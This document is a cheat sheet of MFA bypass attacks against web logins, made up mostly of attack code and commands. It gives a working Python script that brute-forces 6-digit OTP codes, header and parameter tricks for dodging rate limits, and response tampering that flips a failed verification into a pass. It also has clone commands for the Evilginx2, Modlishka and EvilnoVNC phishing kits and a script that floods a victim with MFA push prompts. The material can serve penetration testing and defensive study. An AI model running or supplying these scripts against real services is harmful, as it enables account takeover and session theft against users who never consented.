MFA Bypass Techniques

# Step 1: Login with valid credentials
POST /login
username=user&password=pass123
# Response: 302 Redirect to /mfa-challenge

# Step 2: Instead of completing MFA, browse directly to:
GET /dashboard
GET /api/user/profile

# Brute force 6-digit OTP with no rate limiting
# Using Burp Intruder or custom script:

import requests
import sys

session = requests.Session()

# Login first to get authenticated session
session.post('https://target.com/login', data={
    'username': 'testuser',
    'password': 'testpass'
})

# Brute force the MFA code
for code in range(0, 1000000):
    otp = f'{code:06d}'
    resp = session.post('https://target.com/mfa/verify', data={
        'otp': otp
    })
    
    if 'dashboard' in resp.url or resp.status_code == 200:
        print(f'[+] Valid OTP found: {otp}')
        sys.exit(0)
    
    if code % 1000 == 0:
        print(f'[-] Tried {code}/999999...')

# TOTP window attack: Standard TOTP allows ±30 second window
# Some implementations allow wider windows (±90 seconds)
# reducing effective keyspace significantly

# 1. IP rotation via headers
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 10.0.0.2

# 2. Parameter pollution
POST /mfa/verify
otp=123456&user_id=1234
otp=654321&user_id=1234&extra_param=1

# 3. JSON vs form encoding (may hit different rate limiters)
Content-Type: application/json
{"otp": "123456"}

Content-Type: application/x-www-form-urlencoded
otp=123456

# 4. Case sensitivity / parameter pollution
otp=123456&OTP=654321

# Original failed response:
HTTP/1.1 200 OK
{"success": false, "message": "Invalid OTP"}

# Modified response:
HTTP/1.1 200 OK
{"success": true, "message": "Verified"}

# Or change status codes:
# Original:  HTTP/1.1 401 Unauthorized
# Modified:  HTTP/1.1 200 OK

# Tools for AitM MFA phishing (authorized assessments only):

# Evilginx2 - Advanced AitM phishing framework
# Captures session cookies after MFA is completed
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && make

# Modlishka - Reverse proxy phishing
git clone https://github.com/drk1wi/Modlishka

# EvilnoVNC - Browser-in-the-middle via VNC
git clone https://github.com/JoelGMSec/EvilnoVNC

# How it works:
# 1. Victim visits attacker's phishing page
# 2. Phishing page proxies all traffic to real site
# 3. Victim completes full login including MFA
# 4. Attacker captures the authenticated session cookie
# 5. Attacker uses the cookie to access the account

# Even TOTP and push-based MFA are defeated by AitM
# Only FIDO2/WebAuthn hardware keys resist AitM

# MFA prompt bombing / push fatigue attack:
# Repeatedly trigger MFA push notifications until the user approves

# 1. Obtain valid credentials (phishing, credential stuffing, breach data)
# 2. Script repeated login attempts to trigger push notifications:

import requests
import time

for i in range(50):
    requests.post('https://target.com/login', data={
        'username': 'victim@company.com',
        'password': 'known_password'
    })
    time.sleep(5)  # Wait between attempts
    print(f'Push #{i+1} sent')

# 3. User eventually approves out of frustration
# 4. Attacker gains authenticated access

# Notable: Uber 2022 breach used MFA fatigue attack
# The attacker sent repeated Duo push notifications
# until the employee approved one